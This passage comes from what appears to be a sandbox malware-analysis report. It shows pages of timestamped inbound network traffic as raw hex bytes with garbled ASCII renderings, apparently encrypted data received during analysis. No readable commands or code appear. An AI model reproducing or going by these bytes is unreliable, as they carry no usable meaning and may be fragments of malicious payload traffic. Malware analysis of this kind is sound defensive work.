ff df 5f c8 a4 af 6f ea f8 15 9e bf 2a 8d 6b 11 6b 80 a3 7b 26 de 52 12 02 53 11 e4 66 0d 3f f6 7b 8f 34 39 ef f2 19 17 83 d8 e5 e4 6f 82 cd 2e 82 a8 27 da b5 87 5e d4 8a 27 d3 6d da 76 31 83 d1 23 02 d0 56 de 25 c7 2b Data Ascii: 4jAP)[sc6vMjwh2w1R{!$}%Mc5b0j>aO-R]%:IlQ*)b,z*s(9`Tx&Satc++P?/V5-_}q\]%6ME)5U#_o*kk{&RSf?{49o.'^'mv1#V%+

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 54 of 103

2022-01-15 19:23:31 UTC 3755 IN Data Raw: 86 4f 72 ce 6f 45 91 4e 93 50 23 22 05 d8 62 a1 69 8d 12 15 a8 e8 d8 dd c6 ae 73 6d 42 e6 c4 a5 bb fd 32 3c 05 d7 71 97 ec fe f2 7d a6 72 14 66 22 d8 a5 2f 7b 62 a2 c4 7e a5 bd e4 86 6d cd f8 b0 ea 5b ac be 12 62 e6 08 55 c7 87 2f f7 15 fb a3 df b3 dc 63 a3 01 6f f5 7b 09 08 9f b3 c2 5c 92 aa 8a f1 23 c1 7c 4f a7 21 94 9d c0 7f 59 7b 3b 81 b5 7b ae ac 57 c0 6b 11 8d 6f 2c ad 2f 46 af e5 14 89 60 98 ae 24 b2 00 09 29 15 00 db 0b 99 c1 09 85 c4 01 60 1c 4c d7 29 ff 95 ad fa d4 d6 c0 07 55 c9 e7 64 23 ce 13 b7 d9 69 b5 c2 96 ae fa a4 7c 2c df d4 53 fe 6a ce c1 7e be d7 a2 c9 c7 37 db 1e 34 20 99 b3 a2 c8 56 db 32 3b 77 5d 6b 8e 51 65 7f d4 b3 7e 1f 53 8a e0 b0 17 52 67 10 4f bd 11 3b 9c 64 4c a0 9f 18 7c 9b 02 c4 5d 80 7c 0c e6 19 80 da 3e 99 15 77 83 e6 55 Data Ascii: OroENP#"bismB2<q}rf"/{b~m[bU/co{\#|O!Y{;{Wko,/F`$)`L)Ud#i|,Sj~74 V2;w]kQe~SRgO;dL|]|>wU

2022-01-15 19:23:31 UTC 3771 IN Data Raw: 83 2a cb 1b 19 83 d6 64 c1 5d 7c e0 c5 fe bf fc e2 90 0b f1 72 fc c5 91 41 1b d4 d0 e2 d9 d6 c0 b2 0a 22 ef 92 0a c9 7a 75 12 50 3b 74 2c 5c 24 65 19 49 33 af d9 1b 77 03 0c 76 ce 30 fb 84 1c 3a b8 15 c6 2a 82 a4 91 ed 51 d5 a2 33 6c 6c d9 ee 4d e4 c2 05 bf 6a 9f 40 78 a2 9c 57 49 45 ce 48 9d e2 21 95 f2 46 0f 74 ee 4e 10 8f 50 23 d4 28 a8 8a 9d ca 05 06 19 a1 e3 5e 3c a7 73 08 05 26 b9 39 6b 9d 5d 02 94 ea 84 2f 48 8f 04 b0 ed b2 d5 63 1c 87 09 1e aa 82 3c 4c c3 63 3e d5 1a aa 80 fc 9c e0 19 3d 8c 16 df 8e 94 5b ef 68 d3 06 dd a4 2b 10 31 e2 65 04 4a d9 d8 70 52 69 47 d8 29 1c 28 f9 0d 62 e7 bf 74 26 44 ad b4 ed 58 95 f9 23 89 78 15 08 5a 94 f8 89 6d fe 4f 79 45 b4 6a c6 7d d4 6d 0d 05 01 4e b2 84 2c f0 90 f6 75 8a 28 79 41 1d 5f 6e 13 87 08 b7 3a 27 0f Data Ascii: *d]|rA"zuP;t,\$eI3wv0:*Q3llMj@xWIEH!FtNP#(^<s&9k]/Hc<Lc>=[h+1eJpRiG)(bt&DX#xZmOyEj}mN,u(yA_n:'

2022-01-15 19:23:31 UTC 3787 IN Data Raw: 7d 5e 22 00 9e 48 aa 9f ab ce a5 a2 32 df 48 76 63 99 09 31 34 24 20 5b f8 bb 39 7e 6f 2d 8f 44 75 d3 ed e2 37 13 4c 38 93 22 3a e8 84 2e 52 06 af 89 d0 c1 57 50 75 88 8b 19 a8 7f 48 8b 4f 47 7e 24 79 d4 e2 6b ef 8d d4 b8 b8 d8 f8 93 27 bf ee cc 0d 18 e5 01 d3 9c 1b 45 62 c3 02 cf 56 79 2c 42 2e 81 1c d7 1c 91 a3 23 9b d9 a3 ba 30 f7 26 01 fd ca d6 1c bc 42 da 7c 1c 5e dd ed 48 d1 d2 76 4f 61 d7 8e 11 e9 e7 a4 bc ea 0e 4e 10 e5 18 8d 1b 7f d7 ff 17 06 e1 d3 69 3a 1a d3 3d 7c 21 e9 16 0c 95 83 84 bd 2d eb 89 9e 07 15 e1 27 ac f5 77 c7 32 76 b7 e6 c1 7a e5 bc 60 4a c3 73 9a 15 97 96 0c 44 51 f4 ae 7d 07 16 86 e3 73 57 6a 5f 0c 75 f7 a3 82 5b 44 30 fd e3 34 b3 d3 2a f4 f5 48 b8 cf b4 0e 0b b2 89 ba 66 a0 66 fa ad cd 75 6b 9e ad bc ee 7c d7 f2 01 aa 61 a0 88 Data Ascii: }^"H2Hvc14$ [9~o-Du7L8":.RWPuHOG~$yk'EbVy,B.#0&B|^HvOaNi:=|!-'w2vz`JsDQ}sWj_u[D04*Hffuk|a

2022-01-15 19:23:31 UTC 3803 IN Data Raw: aa 6c d9 c8 bb 20 2c 58 d3 75 1b 05 ae 24 a3 e9 36 a0 c3 f3 af 1c 9c 49 c1 28 2e 02 23 e4 da c4 f4 52 a2 7e 0604 c4 08 e4 6c 99 62 70 1b 07 41 5b 39 eb 5a ac 79 a5 b4 39 fe 4d f6 9c 60 0c 9e f6 db 76 6c be 46 48 7a dc 5d 8c be e6 bd 4f e6 4f 35 45 c1 e3 80 d0 5a 45 a2 21 02 e4 0c da 8c e3 ac 1f 31 7e 67 88 d9 03 59 8f 0d 64 69 f4 db e9 c9 cb 6a 3b 5b 73 1c 49 5d b9 e6 9a e1 ff 98 ef 0d e1 c3 10 8a 23 37 e5 9a 79 24 e3 9d 53 f7 20 ae 80 a1 8a 33 89 e6 1a 68 f4 93 9f b8 9f 97 0b 3b 97 1c 7b 20 7e f9 d0 a1 1d 3f b0 49 13 0f 0c 90 9b c7 7e 24 22 7c 10 50 92 34 20 62 38 3b 76 d3 72 ec e0 80 a2 94 6d 7d 35 0d a3 d3 92 34 ec ab 1f 3c b7 61 08 40 2e a1 9a f0 07 2d ce 29 10 e6 40 01 76 d4 61 92 6b a7 2c c4 28 08 54 67 04 6d da 81 ba 3f c4 63 e7 c3 92 69 ff d0 12 Data Ascii: l ,Xu$6I(.#R~lbpA[9Zy9M`vlFHz]OO5EZE!1~gYdij;[sI]#7y$S 3h;{ ~?I~$"|P4 b8;vrm}54<[email protected])@vak,(Tgm?ci

2022-01-15 19:23:31 UTC 3819 IN Data Raw: f3 1a a6 93 a7 72 3b a9 08 78 4b ff 55 7f c8 91 91 16 50 69 e1 10 a1 f1 16 81 de 0d 1b 64 b0 f6 f1 a7 4e eb 5e 96 c1 d9 d8 38 ea 9c b4 27 0c 2f 00 9e 0b 64 49 44 1c 2a 6f 1b 2b 71 7f 01 59 55 af 46 95 12 3c 0b d9 14 f8 cb f6 f7 b7 b8 e8 7d 04 60 68 a7 0c 8b a7 d6 39 a2 4c b7 a8 fe a7 fe 98 7d ac 1f eb bf 80 34 9f 5e 27 9c 71 47 73 3f 44 d2 fc 35 91 5b fa 1b 0b f9 80 1d 3d 45 2f 48 4d 45 8e 97 9e f7 1a c4 91 1f 4d 94 bb ba 47 29 05 d2 5c 02 73 85 e0 a4 be 47 87 8e 2f fa 4f 70be 02 66 9f 77 2a 1e 91 5c d2 51 40 6b f3 bf 68 73 51 ce 81 05 53 70 1d da 00 32 19 bf 74 4f 33 30 4f 81 ae 47 86 0b 22 9d 3c 3d cc 1e 60 c5 ad 75 60 10 14 42 4f a2 15 48 56 6b 19 6d fc be 5f ef 98 2a 56 14 a9 ee a2 18 89 e5 73 99 16 a3 46 07 a5 4c e7 a3 97 bb 67 3b 8e 1d 18 d2 b6 c7 Data Ascii: r;xKUPidN^8'/dID*o+qYUF<}`h9L}4^'qGs?D5[=E/HMEMG)\sG/Opfw*\Q@khsQSp2tO30OG"<=`u`BOHVkm_*VsFLg;

2022-01-15 19:23:31 UTC 3835 IN Data Raw: 4c ad 94 80 61 10 15 2b 1a 0e 32 8b eb 11 6c a9 e1 89 46 36 ad 0c 75 99 89 1e 0b d8 66 db 81 af ec 46 31 71 29 ee 1a ad b7 8c 8f 0b 8d 7a 8e a7 47 40 8a 86 18 f4 e8 cf 14 d5 b4 43 0f ea 0c 68 fd e2 66 2a 52 de 64 b9 06 0c 07 15 c2 ab ce 0b fc b1 d2 59 e1 b3 4f 48 7c 4d e8 bd 57 dd ca ae 6b 9d 3c 27 da ba 35 c6 50 68 12 a4 2d 74 fb 8e 77 54 69 77 c6 0c 41 0b 81 4d 70 da ea 54 42 fa a3 4a 78 45 04 0d 2c 90 df 02 67 ec 7b 37 26 13 27 5b 4f c6 5e f7 0e c5 7b 80 67 19 e8 8f 52 d6 63 f1 46 18 25 e5 1a 1a 19 28 b4 bc d3 dd c9 22 10 47 e5 69 f4 70 7f b0 cf d7 f8 58 75 3e 52 2f a9 1c 94 f9 3c c4 d2 80 32 c6 70 26 cb 41 17 f2 1d 50 c3 5c 86 39 6e 62 26 d5 68 b6 a1 47 78 8a 95 d9 1b 2d 94 85 57 f3 26 f5 e0 d8 06 4c ec 6b ad 04 1d dc e0 b3 df 63 ea 30 69 a3 b8 e4 0f Data Ascii: La+2lF6ufF1q)zG@Chf*RdYOH|MWk<'5Ph-twTiwAMpTBJxE,g{7&'[O^{gRcF%("GipXu>R/<2p&AP\9nb&hGx-W&Lkc0i

2022-01-15 19:23:31 UTC 3851 IN Data Raw: 9e 9e 23 35 c3 0e b2 81 47 29 a3 64 85 01 6d b3 93 fa d7 73 4e 24 36 7f 69 68 58 df 47 a2 14 b5 d1 38 27 2f d4 de 77 f0 36 86 c0 d7 f9 61 c9 60 9a 28 b5 4a 85 30 77 f1 82 20 f5 94 cc bc 20 6a 31 e6 56 1a ac 92 bf f2 74 f8 a9 0a 77 64 05 bd c1 70 46 69 71 44 de 4e df 1a 9c c6 2b f0 51 6b 74 84 cc ad 52 f7 ef 52 db a3 3a 4f 4d 82 6f 81 08 a2 12 8a 46 b8 0a 83 fc da 10 28 f3 0b 59 9d 6d b4 b3 67 f6 33 7e d2 b8 16 22 a5 72 02 57 20 2d 43 5a 59 a9 bb 2f a4 04 51 fa a6 0c 4d 6d 09 33 d9 f1 be d1 2a ee e7 8f 48 b1 a5 a2 2d f8 d2 2b 35 87 8a a7 2d 85 c2 ab 4a 11 d0 5f d9 31 19 58 18 f4 e4 e7 83 b6 21 96 71 ec bd 94 20 f9 44 03 bc 0a ce 18 31 10 b9 a6 a1 0b ea 24 53 44 4d f0 e0 6d f6 bf b4 7f 61 48 e1 73 5d 40 51 0d b9 f1 6e 50 ec 2b 2a 8d 90 f2 83 4c a8 86 45 3f Data Ascii: #5G)dmsN$6ihXG8'/w6a`(J0w j1VtwdpFiqDN+QktRR:OMoF(Ymg3~"rW -CZY/QMm3*H-+5-J_1X!q D1$SDMmaHs]@QnP+*LE?

2022-01-15 19:23:31 UTC 3867 IN Data Raw: 7c ea 60 bf 97 22 eb 0d 8c d6 55 b9 76 d9 3c b6 9e e6 be 2d 54 9a 13 13 9c 42 8a d7 6e 20 ad bd dd b3 ac 66 9b 1c 71 cf 25 f5 f3 1a 42 22 1c a3 21 c6 8f cb 7c cb 8d 70 77 8a a5 f0 e3 17 50 52 39 bc 0a 6f a0 7d e6 e5 50 25 5d 23 20 2e 51 25 ac f1 04 81 8b b3 7a 4c 0a 1b e3 fd e4 65 cb ce c6 14 86 c9 36 e5 88 38 b2 ef 3b 6a af 91 78 88 ea ae e8 f9 ef 50 c7 12 46 7a 82 db 2c 80 73 ac 6c b8 00 e5 63 9a 25 83 32 25 7c 95 15 3e b0 af 78 e7 b0 87 57 e7 a8 29 65 23 df eb 0f 9b 94 a8 b9 eb b2 b2 4f 82 13 57 32 5d 08 c6 3d ff 51 56 33 34 85 fd 52 59 5b f3 f9 37 58 2b 9c 9e 9d 0a 48 11 36 77 0c a7 90 b0 86 6f ac 93 e9 e8 f0 06 27 8b b9 b2 92 b1 ec 3b af 06 92 27 a7 73 06 50 b7 f9 ca f1 e6 9b 8b a3 3a bc b3 45 52 55 2c 8a 14 93 4c d7 92 e7 78 70 f5 9a 0b 04 28 cc 89 Data Ascii: |`"Uv<-TBn fq%B"!|pwPR9o}P%]# .Q%zLe68;jxPFz,slc%2%|>xW)e#OW2]=QV34RY[7X+H6wo';'sP:ERU,Lxp(

2022-01-15 19:23:31 UTC 3883 IN Data Raw: 53 11 30 18 f1 99 cb bd 46 ad d2 b9 1c 9e 33 57 3f ab bc 91 f2 fd 5d 5d 99 88 df 75 c1 ca 81 b7 cb 4f 16 a4 9a 70 69 38 89 1c ed 0f eb 25 62 65 5e d9 cc 82 7a c3 86 93 f2 17 11 70 4b 91 e2 42 30 f4 a1 2b ad 1c 58 1a f9 0f f7 10 97 b6 92 68 40 a6 37 6b 1c 0b 92 74 e8 7a d6 2c 6d 27 c8 bd 93 65 2b dc d3 e0 c3 4b 46 46 63 7d 90 82 5a a0 7e 5a ea 55 1d 4d d8 37 1f 09 50 5b 23 76 52 c2 6d ec 65 33 d8 e4 14 36 76 e0 0d a0 5c 31 dc 37 e1 6a 5b a8 83 e5 fd 7d d3 98 b2 8f ee 90 30 ed 61 da aa e6 15 37 da 7c 07 b8 61 f8 db ee ea 40 02 dd a2 4a 24 c6 fa e9 1f 45 99 31 76 e6 49 16 c0 bf e0 ef a9 c9 99 58 27 57 27 34 c8 cc ff f2 d2 f8 1b 2d 75 07 69 b6 aa 9f 61 c5 fa f2 ae 99 64 b3 bb 9f 09 16 3b 2d e3 e3 6f cf 2b 96 78 94 69 b2 50 bc bd 8e f8 d5 10 0c 89 5e e9 92 27 Data Ascii: S0F3W?]]uOpi8%be^zpKB0+Xh@7ktz,m'e+KFFc}Z~ZUM7P[#vRme36v\17j[}0a7|a@J$E1vIX'W'4-uiad;-o+xiP^'

2022-01-15 19:23:31 UTC 3899 IN Data Raw: a4 ee 8a aa 0f 1c 53 43 c1 79 62 9f cf e4 b9 c8 ad 06 39 59 57 07 80 d6 29 5e ed ba 58 d7 2a 71 5c 0c 0a ab ce 7b 6e 18 bd f4 47 49 ec 34 83 f4 bc 4b f1 5b 3f bb 91 29 cf 1d cf ee 7f 9b 8f 26 d7 2f c1 ca cd d3 fb 4b 48 f3 7b 04 0c 35 7e 99 a9 0d 94 16 8c aa 28 24 99 93 7c cd c2 dd 32 7d db 51 0a 53 ec 4d 9d 01 75 70 8d 91 3d 4a aa 2e e0 4f 63 9f d1 cb 4f af 22 0f 7b 91 61 be db c7 39 71 f3 85 7e bc fe b6 92 66 25 d8 29 e6 4b 07 a7 97 1d 18 bd be f2 1a 69 65 2a aa 30 6a ae cc 4b c5 b9 87 d1 45 18 5f 08 e9 9c 0d 16 88 fb c1 50 00 4d 94 d7 b4 65 e4 4d 81 b2 57 cb 46 76 0e ef 9d 52 98 c9 93 08 85 2b 9e 36 3f 32 43 95 51 1a 0f 40 d8 e5 b4 a2 22 bb de 73 7c 47 00 87 7a 66 94 9f 05 54 9a 02 96 be 1d 6e be 85 29 6a 26 fc 07 78 a7 f9 d7 f1 fb bd ca a8 ee 33 13 9f Data Ascii: SCyb9YW)^X*q\{nGI4K[?)&/KH{5~($|2}QSMup=J.OcO"{a9q~f%)Kie*0jKE_PMeMWFvR+6?2CQ@"s|GzfTn)j&x3

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 55 of 103

2022-01-15 19:23:31 UTC 3915 IN Data Raw: 53 61 b0 f5 d8 6e 37 a3 2f 3c a2 64 fb bb c9 e4 cf 1e 76 2a 45 0e c0 6f 39 fc 52 24 5a 47 fe 4b 37 ae a5 c0 d0 b0 5e 3e 47 e4 e5 07 a8 2d c2 8d 7b ea 43 fd 10 25 6a 37 83 c5 c7 36 cc ed 14 6b 49 92 14 a8 95 01 e9 06 5f 3f f3 6a 89 12 6f 3b 49 70 6c 4d 46 06 5d 3f 44 79 03 9e 47 fb fb 61 56 ad 0f 74 83 63 3e 43 d6 1a 2d 82 9b 68 c1 40 6d a9 ef 24 5a e4 72 2b cd 04 7f 7a 01 bf 58 56 f6 b8 7a c4 60 e2 da b8 b0 21 b2 cb ca 6d c9 cd a2 9c da 3f 4d 93 44 a7 3e 22 c9 c1 2f 8881 68 8c 96 5f e5 34 0c 46 5e 54 e7 6f 46 91 53 d8 a1 48 55 c2 f7 81 7c 4a a0 1f cc 9d eb 44 f5 86 4a 5c 09 cb 15 12 fb 3f 00 a4 a0 69 1f f8 2e 1e 2c 96 84 c5 ae e3 a2 fc 47 d6 82 b9 93 0a 9f 47 5c 63 90 07 c7 ba 6c 14 48 af 22 32 53 ba 4b 2d a8 09 bf 62 f7 be 95 14 57 3c 74 e6 7f 0f 89 26 Data Ascii: San7/<dv*Eo9R$ZGK7^>G-{C%j76kI_?jo;IplMF]?DyGaVtc>C-h@m$Zr+zXVz`!m?MD>"/h_4F^ToFSHU|JDJ\?i.,GG\clH"2SK-bW<t&

2022-01-15 19:23:31 UTC 3931 IN Data Raw: 84 a3 28 8c 3c d7 b1 c9 36 1f 96 5b 40 f8 79 09 1e 77 10 f3 26 4c 97 eb 2b 10 5d 73 f3 a3 9b 05 f2 54 20 21 4f c2 51 cb 84 85 27 96 b9 5e 39 46 2c 5d da 22 db a0 b8 3f 57 6d 80 e5 83 57 d8 2c 0c 16 1e af d7 85 00 74 46 9a 4c 9a 36 87 af ff 7d e9 ad f9 46 a4 1f ac fd 1a 8d 7f 13 35 27 ec a2 07 83 05 69 07 04 ff bc a9 63 94 ca 56 14 ba 77 3c de 8b 87 ca 35 e7 d8 e1 8e d6 4b 43 a5 64 2f 99 b9 86 94 f7 54 8f c8 47 e1 f2 47 90 2e 37 ba 98 c6 c0 2b 7c 08 1b b1 e8 81 f5 26 90 d2 e3 35 3c 23 14 b8 c8 10 4a 94 b4 2c 27 50 b9 40 80 07 5f e4 b1 39 2a 49 e8 6c 17 ba 2e 10 5e ed 3d 79 07 5c 2a 49 48 92 72 4a 95 73 92 8b f3 59 5b 81 5e d4 82 61 ed b6 b3 05 c8 b3 49 7c fb 54 11 6f 14 62 eb 73 32 05 45 b1 6a 69 3a 70 5c 1d 59 18 e3 38 49 a2 04 64 1e f0 61 25 e1 8d 99 96 Data Ascii: (<6[@yw&L+]sT !OQ'^9F,]"?WmW,tFL6}F5'icVw<5KCd/TGG.7+|&5<#J,'P@_9*Il.^=y\*IHrJsY[^aI|Tobs2Eji:p\Y8Ida%

2022-01-15 19:23:31 UTC 3947 IN Data Raw: 9e 1f 2f 2c 54 dd f8 9c fa de 11 3a ac 29 1e 3f 9c f0 01 2f 99 de 5b 11 4a 2c 20 b8 fb 38 24 6e 7c eb 35 73 d6 dce5 12 10 25 f7 ec d3 90 e6 61 41 fa f9 59 2f d8 92 ed 17 22 0a 83 8a 81 05 cb e0 98 81 dd 5e 21 c5 80 ff 55 f0 f2 ca 32 f3 7d 05 50 66 55 76 21 e3 2f 79 8d ad 7a f1 38 c0 7b 61 a4 b4 57 79 7a df 06 ed 8c f8 8a 22 7e 59 43 10 a3 44 b5 d2 9a 60 37 51 19 a6 0a 54 12 c6 c7 b2 c3 e9 55 cd 70 27 ca a9 6a db 12 1f 20 68 b6 12 7d ad a6 7a de 20 ed c6 b9 b5 8a 7f b0 8b a0 60 05 d7 4a 88 8f bb 3d 68 ba 56 78 0a 8e 16 0d 7c c8 2b 4f a2 b2 db a3 2d a4 c7 b7 a7 58 b2 36 8f 24 72 73 f0 f0 06 db 1c 69 a3 79 82 15 bb 9a 29 20 f7 87 00 95 e1 db 04 a5 bf 52 5a be 99 0d dd e5 1d 68 e2 bf 7c 1f b5 9d 64 32 55 2d a6 c7 45 93 ea cb b6 dd c5 dc d1 14 3b d5 19 62 cd Data Ascii: /,T:)?/[J, 8$n|5s%aAY/"^!U2}PfUv!/yz8{aWyz"~YCD`7QTUp'j h}z `J=hVx|+O-X6$rsiy) RZh|d2U-E;b

2022-01-15 19:23:31 UTC 3963 IN Data Raw: ae 48 8d 8c aa 09 dd 70 1e 13 f1 c3 bc 42 43 49 59 24 b9 ff 60 b4 25 e7 22 ed 6e cb 14 f2 7d 6d df 2a db b0 6d 1f f5 a2 8b 99 e6 d1 3f 44 51 63 b7 93 f5 99 f9 f1 39 3c c3 a9 2a 1d 72 a7 7c d3 e5 1f cc ca e4 14 6b cb 80 95 6c d7 41 81 ca 96 7c 47 fc cd 97 9f 11 61 12 0d 76 6c 27 10 6f 1e f7 6f 36 9f a4 75 b3 60 a6 dc 46 50 74 d4 f9 04 4f b0 af 80 e2 0a 43 50 32 cb f4 09 cb 5a 49 cf 93 58 91 36 62 07 48 9c 36 fe 60 33 92 67 e9 8f 24 3c 18 ca 08 77 ce 65 69 c4 3e 8c b8 7d af eb e5 32 61 3f 03 8d 86 51 91 0a 56 e2 f7 df 94 d7 c8 5a bb c9 aa ca 7f d4 c3 ab 9f 89 94 13 c2 b3 82 a2 9a 99 c7 00 5b 00 25 e4 59 19 97 15 2d 5f 43 fe 05 32 28 ff 78 5b 0f 01 1c 38 23 cd e9 ed fe 41 d6 13 7f 52 9f a5 8b 71 b1 68 ad a7 89 b6 69 20 c4 98 22 33 f4 6d 80 42 f5 a5 7f 09 50 Data Ascii: HpBCIY$`%"n}m*m?DQc9<*r|klA|Gavl'oo6u`FPtOCP2ZIX6bH6`3g$<wei>}2a?QVZ[%Y-_C2(x[8#ARqhi "3mBP

2022-01-15 19:23:31 UTC 3979 IN Data Raw: 0e e6 96 bb dd c6 87 94 1e 4f d5 3e 86 7a f5 eb ae 5e 6d d2 21 2f ce 34 a2 65 99 1d 78 78 64 12 27 f8 1a c0 d69e af 6d ee bb f1 01 31 2f d3 f3 e8 6e 8e 80 71 41 20 7b 33 11 c3 79 4f 52 3e ab 86 b5 fb 67 ef 93 e8 76 30 74 90 cf bd 5d a3 26 ea 81 21 57 86 4f d4 c6 6b 75 6c 84 4e e5 aa 6d 34 ad 96 44 78 3d 65 69 0d 00 81 13 d0 89 60 74 3f 7d f4 75 a2 18 56 a1 78 b2 9d f3 7d dd 8e 61 0e a0 b2 8d f3 31 1a 6d bc 40 08 5c b3 3b 39 14 6f 8a cc a4 46 9b 51 5c 0b fe 27 1a 55 cc b8 fc f0 5d 3e 3f b0 67 d4 71 98 3b 22 4f 49 18 1f 6c 5e b9 b3 82 ae 2c 6a b5 22 eb da a0 09 d3 ee b9 b7 71 e8 10 6d ee c5 fb 27 79 32 e2 57 c2 72 08 3e 84 6a 0b 9b 6b 52 76 ea 19 11 d1 c1 92 7d 8f d3 78 9d 95 f0 b2 fc 78 4c c7 3a 3e d5 95 cb eb 99 b2 23 3a 8b cb b3 39 a8 65 2c 9d 2b ca 7f Data Ascii: O>z^m!/4exxd'm1/nqA {3yOR>gv0t]&!WOkulNm4Dx=ei`t?}uVx}a1m@\;9oFQ\'U]>?gq;"OIl^,j"qm'y2Wr>jkRv}xxL:>#:9e,+

2022-01-15 19:23:31 UTC 3991 IN Data Raw: f5 11 bb c8 12 94 a1 3f 20 6f d2 87 b8 b3 a6 a4 83 b8 b7 36 70 5f 24 0e 6f 01 07 f0 94 04 a8 24 e0 b9 76 7d aa 5b 00 ec be fb c6 34 d9 4d f6 42 96 87 50 55 4b 3a 49 bc 0e 5d 8d 5d eb 0a 55 90 09 02 39 1e e9 ed 7d bf 9f 38 19 a8 e8 5a 47 2a 96 0d 12 28 7f 35 19 de 93 3f 4f b0 41 d6 91 f5 9c b2 29 44 06 b6 3c e4 a7 bb 61 dc 5f 22 72 bb 82 47 39 13 58 88 e3 fa 13 31 f7 13 e2 dd bc 86 7b cc 6a d1 21 bf 6d e5 15 4c 09 3f 74 53 cf 89 9d 80 01 c9 cb b3 d2 4f 02 7f 78 ea a0 35 c8 23 20 c7 32 92 ec 26 22 4c ec 72 2c 95 9c 25 4a b2 06 c5 12 80 55 fe 5d 41 7b 8e a2 37 c2 6f c2 05 fe 68 2d 3f 1c f7 98 d3 f0 5d 90 78 65 b8 08 84 2e 10 5f d9 cd 83 03 4a 5d c7 87 a5 22 2b 45 e4 47 29 da 58 f9 06 ff 49 10 67 21 32 30 77 bb 41 5c 49 ba 18 b4 60 5d b6 56 e8 fa 90 05 b0 a1 Data Ascii: ? o6p_$o$v}[4MBPUK:I]]U9}8ZG*(5?OA)D<a_"rG9X1{j!mL?tSOx5# 2&"Lr,%JU]A{7oh-?]xe._J]"+EG)XIg!20wA\I`]V

2022-01-15 19:23:31 UTC 4007 IN Data Raw: 1a 43 fd 52 3d e5 a1 38 b8 c0 a9 e1 de dc 55 23 f6 f7 f7 8f 15 d9 61 f1 6f 81 4e 9a d5 c6 81 6c eb f9 de 82 01 22 e1 0d ce a3 60 82 b7 24 c3 fe 87 ed 55 6f 6c 00 bd 3a 6c 11 a1 46 0c 06 be 3b 30 09 b8 99 10 7c 85 56 09 1f e1 e3 80 62 c4 06 b2 c1 9d 22 d5 cd 64 55 3b 71 db 35 66 93 6a 01 12 1f f8 36 3e 90 12 9c c9 a3 e8 23 b8 e5 bf 0a ee ef a6 c8 77 c9 19 6c 21 f1 c3 dd 15 78 59 d6 71 f5 71 79 0a 5a 08 52 c5 17 e0 06 d0 6e 2e da ed f5 6a 95 23 bb 87 77 87 28 82 32 a7 57 b5 bc ba 39 93 23 71 d9 05 1c 03 0f 33 94 cc 9c 0d 98 5b ea b0 fb 88 90 76 95 c8 be c2 09 07 95 68 51 e3 11 11 7b 99 96 d0 2b e5 65 41 51 80 40 bc e7 c5 3a 48 8c 12 ac ac 05 62 3a 7c 6b d5 0d aa e8 75 f6 5b 05 eb 19 82 a0 99 0d 34 74 f4 bf dc 07 9a 40 1b 79 5e 49 b9 e2 30 cd 70 2c 10 56 14 Data Ascii: CR=8U#aoNl"`$Uol:lF;0|Vb"dU;q5fj6>#wl!xYqqyZRn.j#w(2W9#q3[vhQ{+eAQ@:Hb:|ku[4t@y^I0p,V

2022-01-15 19:23:31 UTC 4023 IN Data Raw: 1f 42 b4 3f 09 bc a1 5c 09 c4 e8 3c ad 01 9c 72 a1 f3 5e c5 4f f3 6c fb 75 c2 1a 89 61 ee 0c 16 2c 79 e0 55 81 9e 8b d6 96 5f ea 50 3e 86 0d 98 26 be 3c 19 93 2c a5 82 2e b5 bf 86 7d e3 84 01 cd 70 c6 ac 71 fa e0 1e dc c9 ad 1e 2b d4 4f e5 f6 dc 36 bf 37 9a 08 9d ba b0 a3 a7 29 b9 2a 02 60 cb 12 82 10 d3 a8 bf b6 8b 8e e2 6f da 39 38 1f 0f 04 75 e0 22 84 19 5e de 69 52 76 fb e3 79 0a 28 a1 63 fb 0c d7 33 38 d9 c9 64 aa c8 1f 27 83 87 65 6e 73 75 dd 12 fc bf 4a 94 c6 67 a6 74 a8 0e 3f f1 52 32 02 6e 6b c4 58 2f e8 8a 06 6c 22 ae 2d c3 ff 51 65 0b 32 74 78 f4 10 3e c1 73 af 0d 2b a5 95 34 2c 55 ca de 4b c8 cf 56 7a 85 ec d4 84 f7 11 e8 06 f8 ae c1 06 9f 25 24 05 eb b4 0d ec fe aa 26 3a 07 d3 f2 9d 0d d0 9b 22 42 cb 12 fa d7 53 59 5d df 24 88 e5 c9 f1 a5 ed Data Ascii: B?\<r^Olua,yU_P>&<,.}pq+O67)*`o98u"^iRvy(c38d'ensuJgt?R2nkX/l"-Qe2tx>s+4,UKVz%$&:"BSY]$

2022-01-15 19:23:31 UTC 4039 IN Data Raw: 98 57 74 84 e6 d5 25 6d ea 87 e1 a6 16 ad 17 21 79 86 5c 55 8a ac 20 16 a0 21 99 e6 e9 93 91 fd 09 23 b1 a2 3f 9f ff c4 28 59 87 e8 bd fb 28 a6 47 19 4b 41 62 51 7d c9 08 a6 0a 09 32 f0 49 18 f2 aa f9 72 ba ea db 57 17 48 c6 d0 42 d0 8a 2b 61 f3 c7 f6 17 b9 78 74 9e 87 72 ea d2 eb bf 18 75 7a 07 98 ce fa fd a8 19 a6 6d f8 c0 81 90 41 74 37 65 08 66 6b 69 65 f8 35 ab 3b 18 96 1d c6 d0 8e 50 c8 0f 7d 44 0b 3d 64 16 6e c5 f6 16 78 55 c2 05 99 12 d9 8d fc d4 b3 80 34 1b f8 6f 76 2d a5 f9 67 5c 73 2b 4b f0 fe 58 5d 55 2f 27 ab ba 75 c3 2b f1 f4 37 b2 a6 81 51 52 cc 84 22 25 48 2d 3e 05 10 e1 8f ae 67 0a 5e f9 d3 ef 41 4c 83 1b 07 da fd 59 ff 9c 4d de 43 09 f8 d3 1a 7a d8 ea e8 ce f8 c7 49 3b bb 30 f6 c9 1a 8c 37 e8 84 0d c9 78 bc 5d 94 c8 9b bb 54 74 e6 14 99 Data Ascii: Wt%m!y\U !#?(Y(GKAbQ}2IrWHB+axtruzmAt7efkie5;P}D=dnxU4ov-g\s+KX]U/'u+7QR"%H->g^ALYMCzI;07x]Tt

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 56 of 103

